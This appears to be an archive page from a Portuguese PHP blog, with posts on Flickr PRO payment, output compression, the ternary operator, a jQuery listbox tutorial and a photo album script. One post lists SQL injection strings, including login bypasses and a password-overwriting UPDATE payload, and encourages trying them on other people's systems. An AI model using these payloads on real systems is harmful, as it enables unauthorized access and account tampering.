Flickr PRO com depósito bancario

Março 31, 2008 on 12:20 am | In Informatica, php | No Comments

Ja tenho visto uma discução enorme sobre o Flickr ser somente pago com cartões de crédito e não com boleto bancário, gerando um descontentamento de um grande parte de seus usuários. Mas a alegria chegou, agora uma das possibilidades é o pagamento atraves de deposito, o que deve ter gerado uma fortuna para o Yahoo! Flickr.

Eu sou um felizardo que pagou e obtive uma conta Flickr PRO, estou me divertindo muito enviando meus albuns de fotos para o Flickr; e o meu Script em php de fotos utilizando o phpFlickr está aumentando, criarei novas funções, paginações e entre outros está no plano.

Após o pagamento você deve esperar a confirmação para utilizar sua conta como PRO, no meu caso foi uma espera de 1/2 dias, gostei muito, apesar de ser depósito foi bastante ágil.

Confira minhas fotos no Flickr e também no meu album de fotos. = )


Utilize menos banda em seus sites

Dezembro 4, 2007 on 9:34 am | In php | 4 Comments

Segue uma dica para seus sites porno, de como salvar banda de trafeco. Para isso basta adicionar as linhas abaixos no inicio dos arquivos php do site. Recomendo um include na parada né. :P

PHP:
  1. @ini_set(’zlib.output_compression_level’, 1);

Isso vai dizer para o servidor automaticamente comprimir os arquivos antes de enviar para o browser cliente. Lembrando também que pode gerar excesso de leitura do servidor, gerando uma lerdesa na resposta, o que dificilmente o cliente irá perceber.

Fonte: v-nessa.net


IF de uma linha no PHP

Outubro 10, 2007 on 1:50 pm | In Informatica, Trabalho, php | 6 Comments

Como é bastante comum no meio de uma concatenação em PHP, fecha a concatenação para fazer um IF então depois abre-se de novo, criando no meio do texto diversas linhas desnecessárias . Para esse problema temos o if de uma linha usada no meio da concatenação, vejamos primeiro como é a estrutura do IF:

PHP:
  1. if( $X == $Y ){
  2. echo 'Ae';
  3. }else{
  4. echo 'não ae';
  5. }

No caso imaginemos que ipotéticamente queremos fazer esse teste no meio de um texto ou uma string longa, não precisamos utilizar o mesmo if, podemos simplesmente concatena-lo ao texto, torando mais limpo e rápida a estrutura, assim:

PHP:
  1. echo 'Texto longo ... na na na '.($x == $Y ? 'caso verdadeiro' : 'caso negativo').' continua o texto';

Pronto no caso acima testamos se a variável X é igual a Y, se for verdadeiro ele concatena 'caso verdadeiro', caso não seja verdade ele concatena 'caso negativo'. Testem, usem a imaginação e chega desses códigos com zilhões de linhas sem necessidade. Vou colocando dicas aos poucos.


Do SelectBox para o ListBox

Outubro 1, 2007 on 3:21 pm | In Informatica, php, JavaScript, JQuery, Tutorial | 6 Comments

Tutorialzinho para criarmos um selectbox e um listbox apartir do formulário em html e então através do JQuery adicionarmos os itens no Listbox e então pegarmos o valor por método POST no PHP.

A idéia do tutorial seria uma lista de itens adicionado a um listbox, formando um carrinho de compras dos itens, para depois então enviarmos tudo de uma vez so através do POST do form, gerando uma array para o PHP, é um dos clássicos em programação. Como muita gente não sabe da possibilidade em html/php deixo um tutorial para se ter uma idéia de como utilizar esse recurso.
Sem mais delongas vamos ao código, primeiramente o form, claramente veremos que o nosso listbox na verdade é um selectbox com a tag de multiple (virando assim um listbox):

HTML:
  1. <form method="post" enctype="multipart/form-data" name="F1" id="F1">
  2. <select name="func" id="func">
  3. <option value="1">Numero 1</option>
  4. <option value="2">Numero 2</option>
  5. <option value="3">Numero 3</option>
  6. </select>
  7.  
  8.  
  9. <input type="button" name="add" value="Adicionar" />
  10.  
  11.  
  12. <select multiple="multiple" id="eq" name="eq[]" size="7">
  13. </select>
  14.  
  15.  
  16. <input name="Submit2" type="submit" id="EnvioDados" value="ENVIAR DADOS">
  17. </form>

Agora podemos escrever o código do JQuery com DOM para facilitar nossa vida:

JAVASCRIPT:
  1. $().ready(function() {
  2.  
  3. //Click do botão ADD
  4. $("input[@name=add]").click(function(){
  5. var id_selecionado = document.F1.func.selectedIndex;
  6. var valor_selecionado = document.F1.func.options[id_selecionado].text;
  7. var id_indice_selecionado = document.F1.func.options[id_selecionado].value;
  8. $('select[@id=eq]').append('<option value="'+ id_indice_selecionado +'">'+ valor_selecionado +'</option>');
  9.  
  10. //desabilita o valor adicionado;
  11. document.F1.func.options[id_selecionado].disabled=true;
  12. });
  13.  
  14. // Click do botao do submit
  15. $('input[@name=Submit2]').click(function(){
  16. var x=document.getElementById("eq");
  17. for (i=0;i<x.length;i++){
  18. x.options[i].selected=true;
  19. }
  20. return true;
  21. });
  22. })

Muito legal né? Mas e para remover ? Bom, para remover eu recomendo dar uma procurada na net sobre um plugin para ListBox usando o JQuery, vocês não querem tudo na mão né? Dúvidas e sugestões é so comentar.


SQL Injection Hacks no PHP

Setembro 24, 2007 on 2:21 pm | In Informatica, php, Hacker | 2 Comments

Continuando a diversão de se fazer testes no seu sistema ou se divertir com sistemas de outros segue uma lista de possíveis SQL injections, lembrando que pode-se utilizar tanto no login/senha no form ou como na url quando se utilizam método de $_GET no php, vamos lá:

HTML:
  1. user:admin
  2. pass:' or 1=1--
  3. user:' or 1=1--
  4. admin:' or 1=1--
  5. password:' or 1=1--
  6. admin:' or a=a--
  7. admin:' or 1=1--
  8. admin'--
  9. ' or 0=0 --
  10. " or 0=0 --
  11. or 0=0 --
  12. ' or 0=0 #
  13. " or 0=0 #
  14. or 0=0 #
  15. ' or 'x'='x
  16. " or "x"="x
  17. ') or ('x'='x
  18. ' or 1=1--
  19. " or 1=1--
  20. or 1=1--
  21. ' or a=a--
  22. " or "a"="a
  23. ') or ('a'='a
  24. ") or ("a"="a
  25. hi" or "a"="a
  26. hi" or 1=1 --
  27. hi' or 1=1 --
  28. hi' or 'a'='a
  29. hi') or ('a'='a
  30. hi") or ("a"="a
  31. 1 OR 1=1
  32. 1' OR '1'='1
  33. 1'1
  34. 1 EXEC SP_ (or EXEC XP_)
  35. 1 AND 1=1
  36. 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
  37. " AND user like %name% --
  38. "; select user like %name% --
  39. "; update users set passw = 'newpass' where user like %name% --

Existem diversas outras formas de se fazer ataques e fazer antes pesquisas de versões, match, vetores, mapiamento do mysql e até mesmo com user do mysql interno. Mas por hoje fica a lista por aqui, lembrando que fica por sua conta e risco, isso é somente um informativo...


Album de fotos

Setembro 11, 2007 on 1:25 pm | In Informatica, php, Tutorial | 1 Comment

Meu album de fotos, o script foi liberado para uso geral do universo. Leia as informações com calma, respire, compreenda e utilize, seja feliz. :P Dúvidas podem ser postadas aqui com toda liberdade, serão todas respondidas aqui.

Basta no menu do topo clicar em Album de fotos para visualizar as informações ou use o link aqui.


« Previous PageNext Page »

 

 Assine o feed